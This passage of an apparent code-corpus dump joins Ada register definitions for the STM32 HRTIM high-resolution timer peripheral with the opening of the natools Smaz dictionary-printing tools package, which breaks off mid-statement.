EXEV10CPT : Boolean := False;
-- Timer A output 1 Set
TA1SET : Boolean := False;
-- Timer A output 1 Reset
TA1RST : Boolean := False;
-- Timer A Compare 1
TACMP : CPT2ECR_TACMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer B output 1 Set
TB1SET : Boolean := False;
-- Timer B output 1 Reset
TB1RST : Boolean := False;
-- Timer B Compare 1
TBCMP : CPT2ECR_TBCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer C output 1 Set
TC1SET : Boolean := False;
-- Timer C output 1 Reset
TC1RST : Boolean := False;
-- Timer C Compare 1
TCCMP : CPT2ECR_TCCMP_Field :=
(As_Array => False, Val => 16#0#);
-- Timer D output 1 Set
TD1SET : Boolean := False;
-- Timer D output 1 Reset
TD1RST : Boolean := False;
-- Timer D Compare 1
TDCMP : CPT2ECR_TDCMP_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_28_31 : HAL.UInt4 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT2ECR_Register use record
SWCPT at 0 range 0 .. 0;
UDPCPT at 0 range 1 .. 1;
EXEV1CPT at 0 range 2 .. 2;
EXEV2CPT at 0 range 3 .. 3;
EXEV3CPT at 0 range 4 .. 4;
EXEV4CPT at 0 range 5 .. 5;
EXEV5CPT at 0 range 6 .. 6;
EXEV6CPT at 0 range 7 .. 7;
EXEV7CPT at 0 range 8 .. 8;
EXEV8CPT at 0 range 9 .. 9;
EXEV9CPT at 0 range 10 .. 10;
EXEV10CPT at 0 range 11 .. 11;
TA1SET at 0 range 12 .. 12;
TA1RST at 0 range 13 .. 13;
TACMP at 0 range 14 .. 15;
TB1SET at 0 range 16 .. 16;
TB1RST at 0 range 17 .. 17;
TBCMP at 0 range 18 .. 19;
TC1SET at 0 range 20 .. 20;
TC1RST at 0 range 21 .. 21;
TCCMP at 0 range 22 .. 23;
TD1SET at 0 range 24 .. 24;
TD1RST at 0 range 25 .. 25;
TDCMP at 0 range 26 .. 27;
Reserved_28_31 at 0 range 28 .. 31;
end record;
subtype OUTER_FAULT1_Field is HAL.UInt2;
subtype OUTER_DLYPRT_Field is HAL.UInt3;
subtype OUTER_FAULT2_Field is HAL.UInt2;
-- Timerx Output Register
type OUTER_Register is record
-- unspecified
Reserved_0_0 : HAL.Bit := 16#0#;
-- Output 1 polarity
POL1 : Boolean := False;
-- Output 1 Idle mode
IDLEM1 : Boolean := False;
-- Output 1 Idle State
IDLES1 : Boolean := False;
-- Output 1 Fault state
FAULT1 : OUTER_FAULT1_Field := 16#0#;
-- Output 1 Chopper enable
CHP1 : Boolean := False;
-- Output 1 Deadtime upon burst mode Idle entry
DIDL1 : Boolean := False;
-- Deadtime enable
DTEN : Boolean := False;
-- Delayed Protection Enable
DLYPRTEN : Boolean := False;
-- Delayed Protection
DLYPRT : OUTER_DLYPRT_Field := 16#0#;
-- unspecified
Reserved_13_16 : HAL.UInt4 := 16#0#;
-- Output 2 polarity
POL2 : Boolean := False;
-- Output 2 Idle mode
IDLEM2 : Boolean := False;
-- Output 2 Idle State
IDLES2 : Boolean := False;
-- Output 2 Fault state
FAULT2 : OUTER_FAULT2_Field := 16#0#;
-- Output 2 Chopper enable
CHP2 : Boolean := False;
-- Output 2 Deadtime upon burst mode Idle entry
DIDL2 : Boolean := False;
-- unspecified
Reserved_24_31 : HAL.UInt8 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for OUTER_Register use record
Reserved_0_0 at 0 range 0 .. 0;
POL1 at 0 range 1 .. 1;
IDLEM1 at 0 range 2 .. 2;
IDLES1 at 0 range 3 .. 3;
FAULT1 at 0 range 4 .. 5;
CHP1 at 0 range 6 .. 6;
DIDL1 at 0 range 7 .. 7;
DTEN at 0 range 8 .. 8;
DLYPRTEN at 0 range 9 .. 9;
DLYPRT at 0 range 10 .. 12;
Reserved_13_16 at 0 range 13 .. 16;
POL2 at 0 range 17 .. 17;
IDLEM2 at 0 range 18 .. 18;
IDLES2 at 0 range 19 .. 19;
FAULT2 at 0 range 20 .. 21;
CHP2 at 0 range 22 .. 22;
DIDL2 at 0 range 23 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
-- Timerx Fault Register
type FLTER_Register is record
-- Fault 1 enable
FLT1EN : Boolean := False;
-- Fault 2 enable
FLT2EN : Boolean := False;
-- Fault 3 enable
FLT3EN : Boolean := False;
-- Fault 4 enable
FLT4EN : Boolean := False;
-- Fault 5 enable
FLT5EN : Boolean := False;
-- unspecified
Reserved_5_30 : HAL.UInt26 := 16#0#;
-- Fault sources Lock
FLTLCK : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for FLTER_Register use record
FLT1EN at 0 range 0 .. 0;
FLT2EN at 0 range 1 .. 1;
FLT3EN at 0 range 2 .. 2;
FLT4EN at 0 range 3 .. 3;
FLT5EN at 0 range 4 .. 4;
Reserved_5_30 at 0 range 5 .. 30;
FLTLCK at 0 range 31 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
-- High Resolution Timer: Common functions
type HRTIM_Common_Peripheral is record
-- Control Register 1
CR1 : aliased CR1_Register;
-- Control Register 2
CR2 : aliased CR2_Register;
-- Interrupt Status Register
ISR : aliased ISR_Register;
-- Interrupt Clear Register
ICR : aliased ICR_Register;
-- Interrupt Enable Register
IER : aliased IER_Register;
-- Output Enable Register
OENR : aliased OENR_Register;
-- ODISR
ODISR : aliased ODISR_Register;
-- Output Disable Status Register
ODSR : aliased ODSR_Register;
-- Burst Mode Control Register
BMCR : aliased BMCR_Register;
-- BMTRG
BMTRG : aliased BMTRG_Register;
-- BMCMPR
BMCMPR : aliased BMCMPR_Register;
-- Burst Mode Period Register
BMPER : aliased BMPER_Register;
-- Timer External Event Control Register 1
EECR1 : aliased EECR1_Register;
-- Timer External Event Control Register 2
EECR2 : aliased EECR2_Register;
-- Timer External Event Control Register 3
EECR3 : aliased EECR3_Register;
-- ADC Trigger 1 Register
ADC1R : aliased ADC1R_Register;
-- ADC Trigger 2 Register
ADC2R : aliased ADC2R_Register;
-- ADC Trigger 3 Register
ADC3R : aliased ADC3R_Register;
-- ADC Trigger 4 Register
ADC4R : aliased ADC4R_Register;
-- DLL Control Register
DLLCR : aliased DLLCR_Register;
-- HRTIM Fault Input Register 1
FLTINR1 : aliased FLTINR1_Register;
-- HRTIM Fault Input Register 2
FLTINR2 : aliased FLTINR2_Register;
-- BDMUPDR
BDMUPDR : aliased BDMUPDR_Register;
-- Burst DMA Timerx update Register
BDTxUPR : aliased BDTxUPR_Register;
-- Burst DMA Data Register
BDMADR : aliased HAL.UInt32;
end record
with Volatile;
for HRTIM_Common_Peripheral use record
CR1 at 16#0# range 0 .. 31;
CR2 at 16#4# range 0 .. 31;
ISR at 16#8# range 0 .. 31;
ICR at 16#C# range 0 .. 31;
IER at 16#10# range 0 .. 31;
OENR at 16#14# range 0 .. 31;
ODISR at 16#18# range 0 .. 31;
ODSR at 16#1C# range 0 .. 31;
BMCR at 16#20# range 0 .. 31;
BMTRG at 16#24# range 0 .. 31;
BMCMPR at 16#28# range 0 .. 31;
BMPER at 16#2C# range 0 .. 31;
EECR1 at 16#30# range 0 .. 31;
EECR2 at 16#34# range 0 .. 31;
EECR3 at 16#38# range 0 .. 31;
ADC1R at 16#3C# range 0 .. 31;
ADC2R at 16#40# range 0 .. 31;
ADC3R at 16#44# range 0 .. 31;
ADC4R at 16#48# range 0 .. 31;
DLLCR at 16#4C# range 0 .. 31;
FLTINR1 at 16#50# range 0 .. 31;
FLTINR2 at 16#54# range 0 .. 31;
BDMUPDR at 16#58# range 0 .. 31;
BDTxUPR at 16#5C# range 0 .. 31;
BDMADR at 16#60# range 0 .. 31;
end record;
-- High Resolution Timer: Common functions
HRTIM_Common_Periph : aliased HRTIM_Common_Peripheral
with Import, Address => HRTIM_Common_Base;
-- High Resolution Timer: Master Timers
type HRTIM_Master_Peripheral is record
-- Master Timer Control Register
MCR : aliased MCR_Register;
-- Master Timer Interrupt Status Register
MISR : aliased MISR_Register;
-- Master Timer Interrupt Clear Register
MICR : aliased MICR_Register;
-- MDIER
MDIER : aliased MDIER_Register;
-- Master Timer Counter Register
MCNTR : aliased MCNTR_Register;
-- Master Timer Period Register
MPER : aliased MPER_Register;
-- Master Timer Repetition Register
MREP : aliased MREP_Register;
-- Master Timer Compare 1 Register
MCMP1R : aliased MCMP1R_Register;
-- Master Timer Compare 2 Register
MCMP2R : aliased MCMP2R_Register;
-- Master Timer Compare 3 Register
MCMP3R : aliased MCMP3R_Register;
-- Master Timer Compare 4 Register
MCMP4R : aliased MCMP4R_Register;
end record
with Volatile;
for HRTIM_Master_Peripheral use record
MCR at 16#0# range 0 .. 31;
MISR at 16#4# range 0 .. 31;
MICR at 16#8# range 0 .. 31;
MDIER at 16#C# range 0 .. 31;
MCNTR at 16#10# range 0 .. 31;
MPER at 16#14# range 0 .. 31;
MREP at 16#18# range 0 .. 31;
MCMP1R at 16#1C# range 0 .. 31;
MCMP2R at 16#24# range 0 .. 31;
MCMP3R at 16#28# range 0 .. 31;
MCMP4R at 16#2C# range 0 .. 31;
end record;
-- High Resolution Timer: Master Timers
HRTIM_Master_Periph : aliased HRTIM_Master_Peripheral
with Import, Address => HRTIM_Master_Base;
-- High Resolution Timer: TIMA
type HRTIM_TIMA_Peripheral is record
-- Timerx Control Register
TIMACR : aliased TIMACR_Register;
-- Timerx Interrupt Status Register
TIMAISR : aliased TIMAISR_Register;
-- Timerx Interrupt Clear Register
TIMAICR : aliased TIMAICR_Register;
-- TIMxDIER
TIMADIER : aliased TIMADIER_Register;
-- Timerx Counter Register
CNTAR : aliased CNTAR_Register;
-- Timerx Period Register
PERAR : aliased PERAR_Register;
-- Timerx Repetition Register
REPAR : aliased REPAR_Register;
-- Timerx Compare 1 Register
CMP1AR : aliased CMP1AR_Register;
-- Timerx Compare 1 Compound Register
CMP1CAR : aliased CMP1CAR_Register;
-- Timerx Compare 2 Register
CMP2AR : aliased CMP2AR_Register;
-- Timerx Compare 3 Register
CMP3AR : aliased CMP3AR_Register;
-- Timerx Compare 4 Register
CMP4AR : aliased CMP4AR_Register;
-- Timerx Capture 1 Register
CPT1AR : aliased CPT1AR_Register;
-- Timerx Capture 2 Register
CPT2AR : aliased CPT2AR_Register;
-- Timerx Deadtime Register
DTAR : aliased DTAR_Register;
-- Timerx Output1 Set Register
SETA1R : aliased SETA1R_Register;
-- Timerx Output1 Reset Register
RSTA1R : aliased RSTA1R_Register;
-- Timerx Output2 Set Register
SETA2R : aliased SETA2R_Register;
-- Timerx Output2 Reset Register
RSTA2R : aliased RSTA2R_Register;
-- Timerx External Event Filtering Register 1
EEFAR1 : aliased EEFAR1_Register;
-- Timerx External Event Filtering Register 2
EEFAR2 : aliased EEFAR2_Register;
-- TimerA Reset Register
RSTAR : aliased RSTAR_Register;
-- Timerx Chopper Register
CHPAR : aliased CHPAR_Register;
-- Timerx Capture 2 Control Register
CPT1ACR : aliased CPT1ACR_Register;
-- CPT2xCR
CPT2ACR : aliased CPT2ACR_Register;
-- Timerx Output Register
OUTAR : aliased OUTAR_Register;
-- Timerx Fault Register
FLTAR : aliased FLTAR_Register;
end record
with Volatile;
for HRTIM_TIMA_Peripheral use record
TIMACR at 16#0# range 0 .. 31;
TIMAISR at 16#4# range 0 .. 31;
TIMAICR at 16#8# range 0 .. 31;
TIMADIER at 16#C# range 0 .. 31;
CNTAR at 16#10# range 0 .. 31;
PERAR at 16#14# range 0 .. 31;
REPAR at 16#18# range 0 .. 31;
CMP1AR at 16#1C# range 0 .. 31;
CMP1CAR at 16#20# range 0 .. 31;
CMP2AR at 16#24# range 0 .. 31;
CMP3AR at 16#28# range 0 .. 31;
CMP4AR at 16#2C# range 0 .. 31;
CPT1AR at 16#30# range 0 .. 31;
CPT2AR at 16#34# range 0 .. 31;
DTAR at 16#38# range 0 .. 31;
SETA1R at 16#3C# range 0 .. 31;
RSTA1R at 16#40# range 0 .. 31;
SETA2R at 16#44# range 0 .. 31;
RSTA2R at 16#48# range 0 .. 31;
EEFAR1 at 16#4C# range 0 .. 31;
EEFAR2 at 16#50# range 0 .. 31;
RSTAR at 16#54# range 0 .. 31;
CHPAR at 16#58# range 0 .. 31;
CPT1ACR at 16#5C# range 0 .. 31;
CPT2ACR at 16#60# range 0 .. 31;
OUTAR at 16#64# range 0 .. 31;
FLTAR at 16#68# range 0 .. 31;
end record;
-- High Resolution Timer: TIMA
HRTIM_TIMA_Periph : aliased HRTIM_TIMA_Peripheral
with Import, Address => HRTIM_TIMA_Base;
-- High Resolution Timer: TIMB
type HRTIM_TIMB_Peripheral is record
-- Timerx Control Register
TIMBCR : aliased TIMBCR_Register;
-- Timerx Interrupt Status Register
TIMBISR : aliased TIMBISR_Register;
-- Timerx Interrupt Clear Register
TIMBICR : aliased TIMBICR_Register;
-- TIMxDIER
TIMBDIER : aliased TIMBDIER_Register;
-- Timerx Counter Register
CNTR : aliased CNTR_Register;
-- Timerx Period Register
PERBR : aliased PERBR_Register;
-- Timerx Repetition Register
REPBR : aliased REPBR_Register;
-- Timerx Compare 1 Register
CMP1BR : aliased CMP1BR_Register;
-- Timerx Compare 1 Compound Register
CMP1CBR : aliased CMP1CBR_Register;
-- Timerx Compare 2 Register
CMP2BR : aliased CMP2BR_Register;
-- Timerx Compare 3 Register
CMP3BR : aliased CMP3BR_Register;
-- Timerx Compare 4 Register
CMP4BR : aliased CMP4BR_Register;
-- Timerx Capture 1 Register
CPT1BR : aliased CPT1BR_Register;
-- Timerx Capture 2 Register
CPT2BR : aliased CPT2BR_Register;
-- Timerx Deadtime Register
DTBR : aliased DTBR_Register;
-- Timerx Output1 Set Register
SETB1R : aliased SETB1R_Register;
-- Timerx Output1 Reset Register
RSTB1R : aliased RSTB1R_Register;
-- Timerx Output2 Set Register
SETB2R : aliased SETB2R_Register;
-- Timerx Output2 Reset Register
RSTB2R : aliased RSTB2R_Register;
-- Timerx External Event Filtering Register 1
EEFBR1 : aliased EEFBR1_Register;
-- Timerx External Event Filtering Register 2
EEFBR2 : aliased EEFBR2_Register;
-- TimerA Reset Register
RSTBR : aliased RSTBR_Register;
-- Timerx Chopper Register
CHPBR : aliased CHPBR_Register;
-- Timerx Capture 2 Control Register
CPT1BCR : aliased CPT1BCR_Register;
-- CPT2xCR
CPT2BCR : aliased CPT2BCR_Register;
-- Timerx Output Register
OUTBR : aliased OUTBR_Register;
-- Timerx Fault Register
FLTBR : aliased FLTBR_Register;
end record
with Volatile;
for HRTIM_TIMB_Peripheral use record
TIMBCR at 16#0# range 0 .. 31;
TIMBISR at 16#4# range 0 .. 31;
TIMBICR at 16#8# range 0 .. 31;
TIMBDIER at 16#C# range 0 .. 31;
CNTR at 16#10# range 0 .. 31;
PERBR at 16#14# range 0 .. 31;
REPBR at 16#18# range 0 .. 31;
CMP1BR at 16#1C# range 0 .. 31;
CMP1CBR at 16#20# range 0 .. 31;
CMP2BR at 16#24# range 0 .. 31;
CMP3BR at 16#28# range 0 .. 31;
CMP4BR at 16#2C# range 0 .. 31;
CPT1BR at 16#30# range 0 .. 31;
CPT2BR at 16#34# range 0 .. 31;
DTBR at 16#38# range 0 .. 31;
SETB1R at 16#3C# range 0 .. 31;
RSTB1R at 16#40# range 0 .. 31;
SETB2R at 16#44# range 0 .. 31;
RSTB2R at 16#48# range 0 .. 31;
EEFBR1 at 16#4C# range 0 .. 31;
EEFBR2 at 16#50# range 0 .. 31;
RSTBR at 16#54# range 0 .. 31;
CHPBR at 16#58# range 0 .. 31;
CPT1BCR at 16#5C# range 0 .. 31;
CPT2BCR at 16#60# range 0 .. 31;
OUTBR at 16#64# range 0 .. 31;
FLTBR at 16#68# range 0 .. 31;
end record;
-- High Resolution Timer: TIMB
HRTIM_TIMB_Periph : aliased HRTIM_TIMB_Peripheral
with Import, Address => HRTIM_TIMB_Base;
-- High Resolution Timer: TIMC
type HRTIM_TIMC_Peripheral is record
-- Timerx Control Register
TIMCCR : aliased TIMCCR_Register;
-- Timerx Interrupt Status Register
TIMCISR : aliased TIMCISR_Register;
-- Timerx Interrupt Clear Register
TIMCICR : aliased TIMCICR_Register;
-- TIMxDIER
TIMCDIER : aliased TIMCDIER_Register;
-- Timerx Counter Register
CNTCR : aliased CNTCR_Register;
-- Timerx Period Register
PERCR : aliased PERCR_Register;
-- Timerx Repetition Register
REPCR : aliased REPCR_Register;
-- Timerx Compare 1 Register
CMP1CR : aliased CMP1CR_Register;
-- Timerx Compare 1 Compound Register
CMP1CCR : aliased CMP1CCR_Register;
-- Timerx Compare 2 Register
CMP2CR : aliased CMP2CR_Register;
-- Timerx Compare 3 Register
CMP3CR : aliased CMP3CR_Register;
-- Timerx Compare 4 Register
CMP4CR : aliased CMP4CR_Register;
-- Timerx Capture 1 Register
CPT1CR : aliased CPT1CR_Register;
-- Timerx Capture 2 Register
CPT2CR : aliased CPT2CR_Register;
-- Timerx Deadtime Register
DTCR : aliased DTCR_Register;
-- Timerx Output1 Set Register
SETC1R : aliased SETC1R_Register;
-- Timerx Output1 Reset Register
RSTC1R : aliased RSTC1R_Register;
-- Timerx Output2 Set Register
SETC2R : aliased SETC2R_Register;
-- Timerx Output2 Reset Register
RSTC2R : aliased RSTC2R_Register;
-- Timerx External Event Filtering Register 1
EEFCR1 : aliased EEFCR1_Register;
-- Timerx External Event Filtering Register 2
EEFCR2 : aliased EEFCR2_Register;
-- TimerA Reset Register
RSTCR : aliased RSTCR_Register;
-- Timerx Chopper Register
CHPCR : aliased CHPCR_Register;
-- Timerx Capture 2 Control Register
CPT1CCR : aliased CPT1CCR_Register;
-- CPT2xCR
CPT2CCR : aliased CPT2CCR_Register;
-- Timerx Output Register
OUTCR : aliased OUTCR_Register;
-- Timerx Fault Register
FLTCR : aliased FLTCR_Register;
end record
with Volatile;
for HRTIM_TIMC_Peripheral use record
TIMCCR at 16#0# range 0 .. 31;
TIMCISR at 16#4# range 0 .. 31;
TIMCICR at 16#8# range 0 .. 31;
TIMCDIER at 16#C# range 0 .. 31;
CNTCR at 16#10# range 0 .. 31;
PERCR at 16#14# range 0 .. 31;
REPCR at 16#18# range 0 .. 31;
CMP1CR at 16#1C# range 0 .. 31;
CMP1CCR at 16#20# range 0 .. 31;
CMP2CR at 16#24# range 0 .. 31;
CMP3CR at 16#28# range 0 .. 31;
CMP4CR at 16#2C# range 0 .. 31;
CPT1CR at 16#30# range 0 .. 31;
CPT2CR at 16#34# range 0 .. 31;
DTCR at 16#38# range 0 .. 31;
SETC1R at 16#3C# range 0 .. 31;
RSTC1R at 16#40# range 0 .. 31;
SETC2R at 16#44# range 0 .. 31;
RSTC2R at 16#48# range 0 .. 31;
EEFCR1 at 16#4C# range 0 .. 31;
EEFCR2 at 16#50# range 0 .. 31;
RSTCR at 16#54# range 0 .. 31;
CHPCR at 16#58# range 0 .. 31;
CPT1CCR at 16#5C# range 0 .. 31;
CPT2CCR at 16#60# range 0 .. 31;
OUTCR at 16#64# range 0 .. 31;
FLTCR at 16#68# range 0 .. 31;
end record;
-- High Resolution Timer: TIMC
HRTIM_TIMC_Periph : aliased HRTIM_TIMC_Peripheral
with Import, Address => HRTIM_TIMC_Base;
-- High Resolution Timer: TIMD
type HRTIM_TIMD_Peripheral is record
-- Timerx Control Register
TIMDCR : aliased TIMDCR_Register;
-- Timerx Interrupt Status Register
TIMDISR : aliased TIMDISR_Register;
-- Timerx Interrupt Clear Register
TIMDICR : aliased TIMDICR_Register;
-- TIMxDIER
TIMDDIER : aliased TIMDDIER_Register;
-- Timerx Counter Register
CNTDR : aliased CNTDR_Register;
-- Timerx Period Register
PERDR : aliased PERDR_Register;
-- Timerx Repetition Register
REPDR : aliased REPDR_Register;
-- Timerx Compare 1 Register
CMP1DR : aliased CMP1DR_Register;
-- Timerx Compare 1 Compound Register
CMP1CDR : aliased CMP1CDR_Register;
-- Timerx Compare 2 Register
CMP2DR : aliased CMP2DR_Register;
-- Timerx Compare 3 Register
CMP3DR : aliased CMP3DR_Register;
-- Timerx Compare 4 Register
CMP4DR : aliased CMP4DR_Register;
-- Timerx Capture 1 Register
CPT1DR : aliased CPT1DR_Register;
-- Timerx Capture 2 Register
CPT2DR : aliased CPT2DR_Register;
-- Timerx Deadtime Register
DTDR : aliased DTDR_Register;
-- Timerx Output1 Set Register
SETD1R : aliased SETD1R_Register;
-- Timerx Output1 Reset Register
RSTD1R : aliased RSTD1R_Register;
-- Timerx Output2 Set Register
SETD2R : aliased SETD2R_Register;
-- Timerx Output2 Reset Register
RSTD2R : aliased RSTD2R_Register;
-- Timerx External Event Filtering Register 1
EEFDR1 : aliased EEFDR1_Register;
-- Timerx External Event Filtering Register 2
EEFDR2 : aliased EEFDR2_Register;
-- TimerA Reset Register
RSTDR : aliased RSTDR_Register;
-- Timerx Chopper Register
CHPDR : aliased CHPDR_Register;
-- Timerx Capture 2 Control Register
CPT1DCR : aliased CPT1DCR_Register;
-- CPT2xCR
CPT2DCR : aliased CPT2DCR_Register;
-- Timerx Output Register
OUTDR : aliased OUTDR_Register;
-- Timerx Fault Register
FLTDR : aliased FLTDR_Register;
end record
with Volatile;
for HRTIM_TIMD_Peripheral use record
TIMDCR at 16#0# range 0 .. 31;
TIMDISR at 16#4# range 0 .. 31;
TIMDICR at 16#8# range 0 .. 31;
TIMDDIER at 16#C# range 0 .. 31;
CNTDR at 16#10# range 0 .. 31;
PERDR at 16#14# range 0 .. 31;
REPDR at 16#18# range 0 .. 31;
CMP1DR at 16#1C# range 0 .. 31;
CMP1CDR at 16#20# range 0 .. 31;
CMP2DR at 16#24# range 0 .. 31;
CMP3DR at 16#28# range 0 .. 31;
CMP4DR at 16#2C# range 0 .. 31;
CPT1DR at 16#30# range 0 .. 31;
CPT2DR at 16#34# range 0 .. 31;
DTDR at 16#38# range 0 .. 31;
SETD1R at 16#3C# range 0 .. 31;
RSTD1R at 16#40# range 0 .. 31;
SETD2R at 16#44# range 0 .. 31;
RSTD2R at 16#48# range 0 .. 31;
EEFDR1 at 16#4C# range 0 .. 31;
EEFDR2 at 16#50# range 0 .. 31;
RSTDR at 16#54# range 0 .. 31;
CHPDR at 16#58# range 0 .. 31;
CPT1DCR at 16#5C# range 0 .. 31;
CPT2DCR at 16#60# range 0 .. 31;
OUTDR at 16#64# range 0 .. 31;
FLTDR at 16#68# range 0 .. 31;
end record;
-- High Resolution Timer: TIMD
HRTIM_TIMD_Periph : aliased HRTIM_TIMD_Peripheral
with Import, Address => HRTIM_TIMD_Base;
-- High Resolution Timer: TIME
type HRTIM_TIME_Peripheral is record
-- Timerx Control Register
TIMECR : aliased TIMECR_Register;
-- Timerx Interrupt Status Register
TIMEISR : aliased TIMEISR_Register;
-- Timerx Interrupt Clear Register
TIMEICR : aliased TIMEICR_Register;
-- TIMxDIER
TIMEDIER : aliased TIMEDIER_Register;
-- Timerx Counter Register
CNTER : aliased CNTER_Register;
-- Timerx Period Register
PERER : aliased PERER_Register;
-- Timerx Repetition Register
REPER : aliased REPER_Register;
-- Timerx Compare 1 Register
CMP1ER : aliased CMP1ER_Register;
-- Timerx Compare 1 Compound Register
CMP1CER : aliased CMP1CER_Register;
-- Timerx Compare 2 Register
CMP2ER : aliased CMP2ER_Register;
-- Timerx Compare 3 Register
CMP3ER : aliased CMP3ER_Register;
-- Timerx Compare 4 Register
CMP4ER : aliased CMP4ER_Register;
-- Timerx Capture 1 Register
CPT1ER : aliased CPT1ER_Register;
-- Timerx Capture 2 Register
CPT2ER : aliased CPT2ER_Register;
-- Timerx Deadtime Register
DTER : aliased DTER_Register;
-- Timerx Output1 Set Register
SETE1R : aliased SETE1R_Register;
-- Timerx Output1 Reset Register
RSTE1R : aliased RSTE1R_Register;
-- Timerx Output2 Set Register
SETE2R : aliased SETE2R_Register;
-- Timerx Output2 Reset Register
RSTE2R : aliased RSTE2R_Register;
-- Timerx External Event Filtering Register 1
EEFER1 : aliased EEFER1_Register;
-- Timerx External Event Filtering Register 2
EEFER2 : aliased EEFER2_Register;
-- TimerA Reset Register
RSTER : aliased RSTER_Register;
-- Timerx Chopper Register
CHPER : aliased CHPER_Register;
-- Timerx Capture 2 Control Register
CPT1ECR : aliased CPT1ECR_Register;
-- CPT2xCR
CPT2ECR : aliased CPT2ECR_Register;
-- Timerx Output Register
OUTER : aliased OUTER_Register;
-- Timerx Fault Register
FLTER : aliased FLTER_Register;
end record
with Volatile;
for HRTIM_TIME_Peripheral use record
TIMECR at 16#0# range 0 .. 31;
TIMEISR at 16#4# range 0 .. 31;
TIMEICR at 16#8# range 0 .. 31;
TIMEDIER at 16#C# range 0 .. 31;
CNTER at 16#10# range 0 .. 31;
PERER at 16#14# range 0 .. 31;
REPER at 16#18# range 0 .. 31;
CMP1ER at 16#1C# range 0 .. 31;
CMP1CER at 16#20# range 0 .. 31;
CMP2ER at 16#24# range 0 .. 31;
CMP3ER at 16#28# range 0 .. 31;
CMP4ER at 16#2C# range 0 .. 31;
CPT1ER at 16#30# range 0 .. 31;
CPT2ER at 16#34# range 0 .. 31;
DTER at 16#38# range 0 .. 31;
SETE1R at 16#3C# range 0 .. 31;
RSTE1R at 16#40# range 0 .. 31;
SETE2R at 16#44# range 0 .. 31;
RSTE2R at 16#48# range 0 .. 31;
EEFER1 at 16#4C# range 0 .. 31;
EEFER2 at 16#50# range 0 .. 31;
RSTER at 16#54# range 0 .. 31;
CHPER at 16#58# range 0 .. 31;
CPT1ECR at 16#5C# range 0 .. 31;
CPT2ECR at 16#60# range 0 .. 31;
OUTER at 16#64# range 0 .. 31;
FLTER at 16#68# range 0 .. 31;
end record;
-- High Resolution Timer: TIME
HRTIM_TIME_Periph : aliased HRTIM_TIME_Peripheral
with Import, Address => HRTIM_TIME_Base;
end STM32_SVD.HRTIM;
|
src/natools-smaz_generic-tools.adb | faelys/natools | 0 | 24471 | <reponame>faelys/natools<gh_stars>0
------------------------------------------------------------------------------
-- Copyright (c) 2016, <NAME> --
-- --
-- Permission to use, copy, modify, and distribute this software for any --
-- purpose with or without fee is hereby granted, provided that the above --
-- copyright notice and this permission notice appear in all copies. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES --
-- WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF --
-- MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR --
-- ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES --
-- WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN --
-- ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF --
-- OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. --
------------------------------------------------------------------------------
package body Natools.Smaz_Generic.Tools is
function Image (B : Boolean) return String;
-- Return correctly-cased image of B
------------------------------
-- Local Helper Subprograms --
------------------------------
function Image (B : Boolean) return String is
begin
if B then
return "True";
else
return "False";
end if;
end Image;
----------------------
-- Public Interface --
----------------------
function Append_String
(Dict : in Dictionary;
Value : in String)
return Dictionary is
begin
return Dictionary'
(Last_Code => Dictionary_Code'Succ (Dict.Last_Code),
Values_Last => Dict.Values_Last + Value'Length,
Variable_Length_Verbatim => Dict.Variable_Length_Verbatim,
Max_Word_Length => Positive'Max (Dict.Max_Word_Length, Value'Length),
Offsets => Dict.Offsets
& (Dictionary_Code'First => Dict.Values_Last + 1),
Values => Dict.Values & Value,
Hash => Smaz_Tools.Dummy_Hash'Access);
end Append_String;
procedure Print_Dictionary_In_Ada
(Dict : in Dictionary;
Hash_Image : in String := "TODO";
Max_Width : in Positive := 70;
First_Prefix : in String := " := (";
Prefix : in String := " ";
Half_Indent : in String := " ")
is
procedure Append_Entity
(Buffer : in out String;
Last : in out Natural;
Entity : in String);
function Double_Quote (S : String; Count : Natural) return String;
function Offsets_Suffix (I : Dictionary_Code) return String;
function Strip_Image (S : String) return String;
function Values_Separator (I : Positive) return String;
procedure Append_Entity
(Buffer : in out String;
Last : in out Natural;
Entity : in String) is
begin
if Last + 1 + Entity'Length <= Buffer'Last then
Buffer (Last + 1) := ' ';
Buffer (Last + 2 .. Last + 1 + Entity'Length) := Entity;
Last := Last + 1 + Entity'Length;
else
Put_Line (Buffer (Buffer'First .. Last));
Last := Buffer'First + Prefix'Length - 1;
Buffer (Last + 1 .. Last + Half_Indent'Length) := Half_Indent;
Last := Last + Half_Indent'Length;
Buffer (Last + 1 .. Last + Entity'Length) := Entity;
Last := Last + Entity'Length;
end if;
end Append_Entity;
function Double_Quote (S : String; Count : Natural) return String is
begin
if Count = 0 then
return S;
else
return Quoted : String (1 .. S'Length + Count) do
declare
O : Positive := Quoted'First;
begin
for I in S'Range loop
Quoted (O) := S (I);
O := O + 1;
if S (I) = '"' then
Quoted (O) := S (I);
O := O + 1;
end if;
end loop;
end;
end return;
end if;
end Double_Quote;
function Offsets_Suffix (I : Dictionary_Code) return String is
begin
if I < Dict.Offsets'Last then
return ",";
else
return "),";
end if;
end Offsets_Suffix;
function Strip_Image (S : String) return String is
begin
if S'Length > 0 and then S (S'First) = ' ' then
return S (S'First + 1 .. S'Last);
else
return S;
end if;
end Strip_Image;
function Values_Separator (I : Positive) return String is
begin
if I > Dict.Values'First then
return "& ";
else
return "";
end if;
end Values_Separator;
Line_Buffer : String (1 .. Max_Width + Prefix'Length);
Buffer_Last : Natural;
begin
Put_Line (First_Prefix & "Last_Code =>"
& Dictionary_Code'Image (Dict.Last_Code) & ',');
Put_Line (Prefix & "Values_Last =>"
